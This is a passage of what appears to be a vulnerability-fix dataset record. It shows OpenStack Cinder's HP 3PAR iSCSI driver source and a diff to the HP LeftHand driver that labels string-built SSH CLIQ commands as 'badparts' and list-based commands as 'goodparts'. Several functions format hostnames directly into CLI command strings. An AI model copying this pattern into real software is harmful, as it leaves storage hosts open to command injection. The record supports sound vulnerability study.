len(out) > 1: return self.common.parse_create_host_error(hostname, out) return hostname def _modify_3par_iscsi_host(self, hostname, iscsi_iqn): self.common._cli_run('createhost -iscsi -add %s %s' %(hostname, iscsi_iqn), None) def _create_host(self, volume, connector): \"\"\"Creates or modifies existing 3PAR host.\"\"\" host=None hostname=self.common._safe_hostname(connector['host']) cpg=self.common.get_cpg(volume, allowSnap=True) domain=self.common.get_domain(cpg) try: host=self.common._get_3par_host(hostname) if not host['iSCSIPaths']: self._modify_3par_iscsi_host(hostname, connector['initiator']) host=self.common._get_3par_host(hostname) except hpexceptions.HTTPNotFound: persona_id=self.common.get_persona_type(volume) hostname=self._create_3par_iscsi_host(hostname, connector['initiator'], domain, persona_id) host=self.common._get_3par_host(hostname) return host @utils.synchronized('3par', external=True) def create_export(self, context, volume): pass @utils.synchronized('3par', external=True) def ensure_export(self, context, volume): pass @utils.synchronized('3par', external=True) def remove_export(self, context, volume): pass def _get_iscsi_ip(self, hostname): \"\"\"Get an iSCSI IP address to use. Steps to determine which IP address to use. * If only one IP address, return it * If there is an active vlun, return the IP associated with it * Return IP with fewest active vluns \"\"\" if len(self.iscsi_ips)==1: return self.iscsi_ips.keys()[0] nsp=self._get_active_nsp(hostname) if nsp is None: nsp=self._get_least_used_nsp(self._get_iscsi_nsps()) if nsp is None: msg=_(\"Least busy iSCSI port not found, \" \"using first iSCSI port in list.\") LOG.warn(msg) return self.iscsi_ips.keys()[0] return self._get_ip_using_nsp(nsp) def _get_iscsi_nsps(self): \"\"\"Return the list of candidate nsps.\"\"\" nsps=[] for value in self.iscsi_ips.values(): nsps.append(value['nsp']) return nsps def _get_ip_using_nsp(self, nsp): \"\"\"Return IP assiciated with given nsp.\"\"\" for(key, value) in self.iscsi_ips.items(): if value['nsp']==nsp: return key def _get_active_nsp(self, hostname): \"\"\"Return the active nsp, if one exists, for the given host.\"\"\" result=self.common._cli_run('showvlun -a -host %s' % hostname, None) if result: result=result[1:] for line in result: info=line.split(\",\") if info and len(info) > 4: return info[4] def _get_least_used_nsp(self, nspss): \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\" result=self.common._cli_run('showvlun -a -showcols Port', None) nsp_counts={} for nsp in nspss: nsp_counts[nsp]=0 current_least_used_nsp=None if result: result=result[1:] for line in result: nsp=line.strip() if nsp in nsp_counts: nsp_counts[nsp]=nsp_counts[nsp] +1 current_smallest_count=sys.maxint for(nsp, count) in nsp_counts.iteritems(): if count < current_smallest_count: current_least_used_nsp=nsp current_smallest_count=count return current_least_used_nsp def extend_volume(self, volume, new_size): self.common.extend_volume(volume, new_size) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# (c) Copyright 2012-2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n\"\"\"\nVolume driver for HP 3PAR Storage array.\nThis driver requires 3.1.2 MU2 firmware on the 3PAR array.\n\nYou will need to install the python hp3parclient.\nsudo pip install hp3parclient\n\nSet the following in the cinder.conf file to enable the\n3PAR iSCSI Driver along with the required flags:\n\nvolume_driver=cinder.volume.drivers.san.hp.hp_3par_iscsi.HP3PARISCSIDriver\n\"\"\"\n\nimport sys\n\nfrom hp3parclient import exceptions as hpexceptions\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nimport cinder.volume.driver\nfrom cinder.volume.drivers.san.hp import hp_3par_common as hpcommon\nfrom cinder.volume.drivers.san import san\n\nVERSION = 1.1\nLOG = logging.getLogger(__name__)\nDEFAULT_ISCSI_PORT = 3260\n\n\nclass HP3PARISCSIDriver(cinder.volume.driver.ISCSIDriver):\n \"\"\"OpenStack iSCSI driver to enable 3PAR storage array.\n\n Version history:\n 1.0 - Initial driver\n 1.1 - QoS, extend volume, multiple iscsi ports, remove domain,\n session changes, faster clone, requires 3.1.2 MU2 firmware.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(HP3PARISCSIDriver, self).__init__(*args, **kwargs)\n self.common = None\n self.configuration.append_config_values(hpcommon.hp3par_opts)\n self.configuration.append_config_values(san.san_opts)\n\n def _init_common(self):\n return hpcommon.HP3PARCommon(self.configuration)\n\n def _check_flags(self):\n \"\"\"Sanity check to ensure we have required options set.\"\"\"\n required_flags = ['hp3par_api_url', 'hp3par_username',\n 'hp3par_password', 'san_ip', 'san_login',\n 'san_password']\n self.common.check_flags(self.configuration, required_flags)\n\n @utils.synchronized('3par', external=True)\n def get_volume_stats(self, refresh):\n self.common.client_login()\n stats = self.common.get_volume_stats(refresh)\n stats['storage_protocol'] = 'iSCSI'\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or self.__class__.__name__\n self.common.client_logout()\n return stats\n\n def do_setup(self, context):\n self.common = self._init_common()\n self._check_flags()\n\n # map iscsi_ip-> ip_port\n # -> iqn\n # -> nsp\n self.iscsi_ips = {}\n temp_iscsi_ip = {}\n\n # use the 3PAR ip_addr list for iSCSI configuration\n if len(self.configuration.hp3par_iscsi_ips) > 0:\n # add port values to ip_addr, if necessary\n for ip_addr in self.configuration.hp3par_iscsi_ips:\n ip = ip_addr.split(':')\n if len(ip) == 1:\n temp_iscsi_ip[ip_addr] = {'ip_port': DEFAULT_ISCSI_PORT}\n elif len(ip) == 2:\n temp_iscsi_ip[ip[0]] = {'ip_port': ip[1]}\n else:\n msg = _(\"Invalid IP address format '%s'\") % ip_addr\n LOG.warn(msg)\n\n # add the single value iscsi_ip_address option to the IP dictionary.\n # This way we can see if it's a valid iSCSI IP. If it's not valid,\n # we won't use it and won't bother to report it, see below\n if (self.configuration.iscsi_ip_address not in temp_iscsi_ip):\n ip = self.configuration.iscsi_ip_address\n ip_port = self.configuration.iscsi_port\n temp_iscsi_ip[ip] = {'ip_port': ip_port}\n\n # get all the valid iSCSI ports from 3PAR\n # when found, add the valid iSCSI ip, ip port, iqn and nsp\n # to the iSCSI IP dictionary\n # ...this will also make sure ssh works.\n iscsi_ports = self.common.get_ports()['iSCSI']\n for (ip, iscsi_info) in iscsi_ports.iteritems():\n if ip in temp_iscsi_ip:\n ip_port = temp_iscsi_ip[ip]['ip_port']\n self.iscsi_ips[ip] = {'ip_port': ip_port,\n 'nsp': iscsi_info['nsp'],\n 'iqn': iscsi_info['iqn']\n }\n del temp_iscsi_ip[ip]\n\n # if the single value iscsi_ip_address option is still in the\n # temp dictionary it's because it defaults to $my_ip which doesn't\n # make sense in this context. So, if present, remove it and move on.\n if (self.configuration.iscsi_ip_address in temp_iscsi_ip):\n del temp_iscsi_ip[self.configuration.iscsi_ip_address]\n\n # lets see if there are invalid iSCSI IPs left in the temp dict\n if len(temp_iscsi_ip) > 0:\n msg = _(\"Found invalid iSCSI IP address(s) in configuration \"\n \"option(s) hp3par_iscsi_ips or iscsi_ip_address '%s.'\") % \\\n (\", \".join(temp_iscsi_ip))\n LOG.warn(msg)\n\n if not len(self.iscsi_ips) > 0:\n msg = _('At least one valid iSCSI IP address must be set.')\n raise exception.InvalidInput(reason=(msg))\n\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Clone an existing volume.\"\"\"\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n Steps to export a volume on 3PAR\n * Get the 3PAR iSCSI iqn\n * Create a host on the 3par\n * create vlun on the 3par\n \"\"\"\n self.common.client_login()\n\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n self.common.client_logout()\n\n iscsi_ip = self._get_iscsi_ip(host['name'])\n iscsi_ip_port = self.iscsi_ips[iscsi_ip]['ip_port']\n iscsi_target_iqn = self.iscsi_ips[iscsi_ip]['iqn']\n info = {'driver_volume_type': 'iscsi',\n 'data': {'target_portal': \"%s:%s\" %\n (iscsi_ip, iscsi_ip_port),\n 'target_iqn': iscsi_target_iqn,\n 'target_lun': vlun['lun'],\n 'target_discovered': True\n }\n }\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['initiator'])\n self.common.client_logout()\n\n def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n (persona_id, domain, hostname, iscsi_iqn)\n out = self.common._cli_run(cmd, None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n\n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n self.common._cli_run('createhost -iscsi -add %s %s'\n % (hostname, iscsi_iqn), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n # make sure we don't have the host already\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['iSCSIPaths']:\n self._modify_3par_iscsi_host(hostname, connector['initiator'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_iscsi_host(hostname,\n connector['initiator'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def _get_iscsi_ip(self, hostname):\n \"\"\"Get an iSCSI IP address to use.\n\n Steps to determine which IP address to use.\n * If only one IP address, return it\n * If there is an active vlun, return the IP associated with it\n * Return IP with fewest active vluns\n \"\"\"\n if len(self.iscsi_ips) == 1:\n return self.iscsi_ips.keys()[0]\n\n # if we currently have an active port, use it\n nsp = self._get_active_nsp(hostname)\n\n if nsp is None:\n # no active vlun, find least busy port\n nsp = self._get_least_used_nsp(self._get_iscsi_nsps())\n if nsp is None:\n msg = _(\"Least busy iSCSI port not found, \"\n \"using first iSCSI port in list.\")\n LOG.warn(msg)\n return self.iscsi_ips.keys()[0]\n\n return self._get_ip_using_nsp(nsp)\n\n def _get_iscsi_nsps(self):\n \"\"\"Return the list of candidate nsps.\"\"\"\n nsps = []\n for value in self.iscsi_ips.values():\n nsps.append(value['nsp'])\n return nsps\n\n def _get_ip_using_nsp(self, nsp):\n \"\"\"Return IP assiciated with given nsp.\"\"\"\n for (key, value) in self.iscsi_ips.items():\n if value['nsp'] == nsp:\n return key\n\n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n info = line.split(\",\")\n if info and len(info) > 4:\n return info[4]\n\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n result = self.common._cli_run('showvlun -a -showcols Port', None)\n\n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\n for nsp in nspss:\n # initialize counts to zero\n nsp_counts[nsp] = 0\n\n current_least_used_nsp = None\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n nsp = line.strip()\n if nsp in nsp_counts:\n nsp_counts[nsp] = nsp_counts[nsp] + 1\n\n # identify key (nsp) of least used nsp\n current_smallest_count = sys.maxint\n for (nsp, count) in nsp_counts.iteritems():\n if count < current_smallest_count:\n current_least_used_nsp = nsp\n current_smallest_count = count\n\n return current_least_used_nsp\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp_lefthand.py": {"changes": [{"diff": "\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "add": 3, "remove": 4, "filename": "/cinder/volume/drivers/san/hp_lefthand.py", "badparts": [" cliq_arg_strings = []", " cliq_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cliq_arg_strings)", " return self._run_ssh(cmd, check_exit_code)"], "goodparts": [" cmd_list = [verb]", " cmd_list.append(\"%s=%s\" % (k, v))", " return self._run_ssh(cmd_list, check_exit_code)"]}], "source": "\n \"\"\" HP Lefthand SAN ISCSI Driver. The driver communicates to the backend aka Cliq via SSH to perform all the operations on the SAN. \"\"\" from lxml import etree from cinder import exception from cinder.openstack.common import log as logging from cinder.volume.drivers.san.san import SanISCSIDriver LOG=logging.getLogger(__name__) class HpSanISCSIDriver(SanISCSIDriver): \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes. We use the CLIQ interface, over SSH. Rough overview of CLIQ commands used: :createVolume: (creates the volume) :getVolumeInfo: (to discover the IQN etc) :getClusterInfo: (to discover the iSCSI target IP address) :assignVolumeChap: (exports it with CHAP security) The 'trick' here is that the HP SAN enforces security by default, so normally a volume mount would need both to configure the SAN in the volume layer and do the mount on the compute layer. Multi-layer operations are not catered for at the moment in the cinder architecture, so instead we share the volume using CHAP at volume creation time. Then the mount need only use those CHAP credentials, so can take place exclusively in the compute layer. \"\"\" device_stats={} def __init__(self, *args, **kwargs): super(HpSanISCSIDriver, self).__init__(*args, **kwargs) self.cluster_vip=None def _cliq_run(self, verb, cliq_args, check_exit_code=True): \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\" cliq_arg_strings=[] for k, v in cliq_args.items(): cliq_arg_strings.append(\" %s=%s\" %(k, v)) cmd=verb +''.join(cliq_arg_strings) return self._run_ssh(cmd, check_exit_code) def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True): \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\" cliq_args['output']='XML' (out, _err)=self._cliq_run(verb, cliq_args, check_cliq_result) LOG.debug(_(\"CLIQ command returned %s\"), out) result_xml=etree.fromstring(out) if check_cliq_result: response_node=result_xml.find(\"response\") if response_node is None: msg=(_(\"Malformed response to CLIQ command \" \"%(verb)s %(cliq_args)s. Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) result_code=response_node.attrib.get(\"result\") if result_code !=\"0\": msg=(_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \" \" Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) return result_xml def _cliq_get_cluster_info(self, cluster_name): \"\"\"Queries for info about the cluster(including IP)\"\"\" cliq_args={} cliq_args['clusterName']=cluster_name cliq_args['searchDepth']='1' cliq_args['verbose']='0' result_xml=self._cliq_run_xml(\"getClusterInfo\", cliq_args) return result_xml def _cliq_get_cluster_vip(self, cluster_name): \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\" cluster_xml=self._cliq_get_cluster_info(cluster_name) vips=[] for vip in cluster_xml.findall(\"response/cluster/vip\"): vips.append(vip.attrib.get('ipAddress')) if len(vips)==1: return vips[0] _xml=etree.tostring(cluster_xml) msg=(_(\"Unexpected number of virtual ips for cluster \" \" %(cluster_name)s. Result=%(_xml)s\") % {'cluster_name': cluster_name, '_xml': _xml}) raise exception.VolumeBackendAPIException(data=msg) def _cliq_get_volume_info(self, volume_name): \"\"\"Gets the volume info, including IQN\"\"\" cliq_args={} cliq_args['volumeName']=volume_name result_xml=self._cliq_run_xml(\"getVolumeInfo\", cliq_args) volume_attributes={} volume_node=result_xml.find(\"response/volume\") for k, v in volume_node.attrib.items(): volume_attributes[\"volume.\" +k]=v status_node=volume_node.find(\"status\") if status_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"status.\" +k]=v permission_node=volume_node.find(\"permission\") if permission_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"permission.\" +k]=v LOG.debug(_(\"Volume info: %(volume_name)s=> %(volume_attributes)s\") % {'volume_name': volume_name, 'volume_attributes': volume_attributes}) return volume_attributes def create_volume(self, volume): \"\"\"Creates a volume.\"\"\" cliq_args={} cliq_args['clusterName']=self.configuration.san_clustername if self.configuration.san_thin_provision: cliq_args['thinProvision']='1' else: cliq_args['thinProvision']='0' cliq_args['volumeName']=volume['name'] if int(volume['size'])==0: cliq_args['size']='100MB' else: cliq_args['size']='%sGB' % volume['size'] self._cliq_run_xml(\"createVolume\", cliq_args) volume_info=self._cliq_get_volume_info(volume['name']) cluster_name=volume_info['volume.clusterName'] iscsi_iqn=volume_info['volume.iscsiIqn'] cluster_interface='1' if not self.cluster_vip: self.cluster_vip=self._cliq_get_cluster_vip(cluster_name) iscsi_portal=self.cluster_vip +\":3260,\" +cluster_interface model_update={} model_update['provider_location']=(\"%s %s %s\" % (iscsi_portal, iscsi_iqn, 0)) return model_update def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Creates a volume from a snapshot.\"\"\" raise NotImplementedError() def create_snapshot(self, snapshot): \"\"\"Creates a snapshot.\"\"\" raise NotImplementedError() def delete_volume(self, volume): \"\"\"Deletes a volume.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['prompt']='false' try: volume_info=self._cliq_get_volume_info(volume['name']) except exception.ProcessExecutionError: LOG.error(\"Volume did not exist. It will not be deleted\") return self._cliq_run_xml(\"deleteVolume\", cliq_args) def local_path(self, volume): msg=_(\"local_path not supported\") raise exception.VolumeBackendAPIException(data=msg) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. HP VSA requires a volume to be assigned to a server. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } \"\"\" self._create_server(connector) cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"assignVolumeToServer\", cliq_args) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } def _create_server(self, connector): cliq_args={} cliq_args['serverName']=connector['host'] out=self._cliq_run_xml(\"getServerInfo\", cliq_args, False) response=out.find(\"response\") result=response.attrib.get(\"result\") if result !='0': cliq_args={} cliq_args['serverName']=connector['host'] cliq_args['initiator']=connector['initiator'] self._cliq_run_xml(\"createServer\", cliq_args) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Unassign the volume from the host.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args) def get_volume_stats(self, refresh): if refresh: self._update_backend_status() return self.device_stats def _update_backend_status(self): data={} backend_name=self.configuration.safe_get('volume_backend_name') data['volume_backend_name']=backend_name or self.__class__.__name__ data['driver_version']='1.0' data['reserved_percentage']=0 data['storage_protocol']='iSCSI' data['vendor_name']='Hewlett-Packard' result_xml=self._cliq_run_xml(\"getClusterInfo\",{}) cluster_node=result_xml.find(\"response/cluster\") total_capacity=cluster_node.attrib.get(\"spaceTotal\") free_capacity=cluster_node.attrib.get(\"unprovisionedSpace\") GB=1073741824 data['total_capacity_gb']=int(total_capacity) / GB data['free_capacity_gb']=int(free_capacity) / GB self.device_stats=data ", "sourceWithComments": "# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nHP Lefthand SAN ISCSI Driver.\n\nThe driver communicates to the backend aka Cliq via SSH to perform all the\noperations on the SAN.\n\"\"\"\nfrom lxml import etree\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.volume.drivers.san.san import SanISCSIDriver\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass HpSanISCSIDriver(SanISCSIDriver):\n \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes.\n\n We use the CLIQ interface, over SSH.\n\n Rough overview of CLIQ commands used:\n\n :createVolume: (creates the volume)\n\n :getVolumeInfo: (to discover the IQN etc)\n\n :getClusterInfo: (to discover the iSCSI target IP address)\n\n :assignVolumeChap: (exports it with CHAP security)\n\n The 'trick' here is that the HP SAN enforces security by default, so\n normally a volume mount would need both to configure the SAN in the volume\n layer and do the mount on the compute layer. Multi-layer operations are\n not catered for at the moment in the cinder architecture, so instead we\n share the volume using CHAP at volume creation time. Then the mount need\n only use those CHAP credentials, so can take place exclusively in the\n compute layer.\n \"\"\"\n\n device_stats = {}\n\n def __init__(self, *args, **kwargs):\n super(HpSanISCSIDriver, self).__init__(*args, **kwargs)\n self.cluster_vip = None\n\n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n cliq_arg_strings = []\n for k, v in cliq_args.items():\n cliq_arg_strings.append(\" %s=%s\" % (k, v))\n cmd = verb + ''.join(cliq_arg_strings)\n\n return self._run_ssh(cmd, check_exit_code)\n\n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n cliq_args['output'] = 'XML'\n (out, _err) = self._cliq_run(verb, cliq_args, check_cliq_result)\n\n LOG.debug(_(\"CLIQ command returned %s\"), out)\n\n result_xml = etree.fromstring(out)\n if check_cliq_result:\n response_node = result_xml.find(\"response\")\n if response_node is None:\n msg = (_(\"Malformed response to CLIQ command \"\n \"%(verb)s %(cliq_args)s. Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n result_code = response_node.attrib.get(\"result\")\n\n if result_code != \"0\":\n msg = (_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \"\n \" Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n return result_xml\n\n def _cliq_get_cluster_info(self, cluster_name):\n \"\"\"Queries for info about the cluster (including IP)\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = cluster_name\n cliq_args['searchDepth'] = '1'\n cliq_args['verbose'] = '0'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", cliq_args)\n\n return result_xml\n\n def _cliq_get_cluster_vip(self, cluster_name):\n \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\"\n cluster_xml = self._cliq_get_cluster_info(cluster_name)\n\n vips = []\n for vip in cluster_xml.findall(\"response/cluster/vip\"):\n vips.append(vip.attrib.get('ipAddress'))\n\n if len(vips) == 1:\n return vips[0]\n\n _xml = etree.tostring(cluster_xml)\n msg = (_(\"Unexpected number of virtual ips for cluster \"\n \" %(cluster_name)s. Result=%(_xml)s\") %\n {'cluster_name': cluster_name, '_xml': _xml})\n raise exception.VolumeBackendAPIException(data=msg)\n\n def _cliq_get_volume_info(self, volume_name):\n \"\"\"Gets the volume info, including IQN\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume_name\n result_xml = self._cliq_run_xml(\"getVolumeInfo\", cliq_args)\n\n # Result looks like this:\n #\n # \n # \n # \n # \n # \n # \n #\n\n # Flatten the nodes into a dictionary; use prefixes to avoid collisions\n volume_attributes = {}\n\n volume_node = result_xml.find(\"response/volume\")\n for k, v in volume_node.attrib.items():\n volume_attributes[\"volume.\" + k] = v\n\n status_node = volume_node.find(\"status\")\n if status_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"status.\" + k] = v\n\n # We only consider the first permission node\n permission_node = volume_node.find(\"permission\")\n if permission_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"permission.\" + k] = v\n\n LOG.debug(_(\"Volume info: %(volume_name)s => %(volume_attributes)s\") %\n {'volume_name': volume_name,\n 'volume_attributes': volume_attributes})\n return volume_attributes\n\n def create_volume(self, volume):\n \"\"\"Creates a volume.\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = self.configuration.san_clustername\n\n if self.configuration.san_thin_provision:\n cliq_args['thinProvision'] = '1'\n else:\n cliq_args['thinProvision'] = '0'\n\n cliq_args['volumeName'] = volume['name']\n if int(volume['size']) == 0:\n cliq_args['size'] = '100MB'\n else:\n cliq_args['size'] = '%sGB' % volume['size']\n\n self._cliq_run_xml(\"createVolume\", cliq_args)\n\n volume_info = self._cliq_get_volume_info(volume['name'])\n cluster_name = volume_info['volume.clusterName']\n iscsi_iqn = volume_info['volume.iscsiIqn']\n\n #TODO(justinsb): Is this always 1? Does it matter?\n cluster_interface = '1'\n\n if not self.cluster_vip:\n self.cluster_vip = self._cliq_get_cluster_vip(cluster_name)\n iscsi_portal = self.cluster_vip + \":3260,\" + cluster_interface\n\n model_update = {}\n\n # NOTE(jdg): LH volumes always at lun 0 ?\n model_update['provider_location'] = (\"%s %s %s\" %\n (iscsi_portal,\n iscsi_iqn,\n 0))\n\n return model_update\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Creates a volume from a snapshot.\"\"\"\n raise NotImplementedError()\n\n def create_snapshot(self, snapshot):\n \"\"\"Creates a snapshot.\"\"\"\n raise NotImplementedError()\n\n def delete_volume(self, volume):\n \"\"\"Deletes a volume.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['prompt'] = 'false' # Don't confirm\n try:\n volume_info = self._cliq_get_volume_info(volume['name'])\n except exception.ProcessExecutionError:\n LOG.error(\"Volume did not exist. It will not be deleted\")\n return\n self._cliq_run_xml(\"deleteVolume\", cliq_args)\n\n def local_path(self, volume):\n msg = _(\"local_path not supported\")\n raise exception.VolumeBackendAPIException(data=msg)\n\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host. HP VSA requires a volume to be assigned\n to a server.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n \"\"\"\n self._create_server(connector)\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"assignVolumeToServer\", cliq_args)\n\n iscsi_properties = 